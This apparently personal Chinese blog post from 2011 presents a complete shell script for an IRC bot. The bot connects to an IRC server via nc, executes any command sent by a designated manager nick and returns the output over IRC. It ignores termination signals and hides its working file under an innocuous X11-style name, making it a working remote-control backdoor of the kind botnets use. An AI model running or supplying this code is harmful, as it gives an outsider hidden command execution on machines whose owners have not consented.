Mea.ningful  .Me

而生命

redpill

一个irc bot的shell实现

2011-08-06 08:38:01

shell算是刚刚起步,这个主要是利用了tail- f 通过管道重定向到nc来与irc服务器进行通信,然后利用sed对其格式化使之符合协议,其他没啥东西了 实现的功能就是命令执行。

#!/bin/sh

#Shell IRC Bot demo Based on RFC 1459
#2011/8/5

myname='testBot' #what you call me?
svradd='127.0.0.1 6667' #where can i find you? "Oppo" find me : P
channel='bots' #irc channel
tmpfile='/tmp/.X11-map-enUS' #temp file at runtime
mgr='god' #manager nick in irc
cwd='/tmp' # current work directry

trap "" TERM HUP INT QUIT TSTP
#just leave it

echo "NICK $myname" > $tmpfile
echo "USER $myname `hostname` servername realname" >> $tmpfile
echo "JOIN $channel" >> $tmpfile
echo "PRIVMSG $mgr :hey, im in!" >> $tmpfile
#connect to the irc server and say hello to my manager

tail -f $tmpfile| nc $svradd | while true; do
                read cmd
                echo $cmd | egrep "^:$mgr.*PRIVMSG $myname :" >/dev/null 2>&1
                test $? -eq 0 || continue
                #see if this message is for me?
                cmd=$(echo $cmd | sed "s/^:$mgr.*PRIVMSG $myname ://" 2>/dev/null)
                #delete the header
                cmd=$(echo $cmd | sed "s/\r/\n/" 2>/dev/null)
                #delete '\r'
                echo $cmd | egrep "^cd *" >/dev/null 2>&1
                test $? -eq 0 && cwd=$(cd $cwd;$cmd;pwd 2>/dev/null)
                #update cwd if this is a "cd" command
                echo $cmd | egrep "(^ ?*cd *)|(^ ?*pwd$)" >/dev/null 2>&1
                test $? -eq 0 && cmd="echo [+]Pwd is now $cwd"
                #overwirte the "pwd" command
                cd $cwd;$cmd 2>&1| sed "s/^/PRIVMSG $mgr :/" | tee -a $tmpfile >/dev/null 2>&1
                echo "[+] Complete" | sed "s/^/PRIVMSG $mgr :/" >> $tmpfile
                #exec it and send
done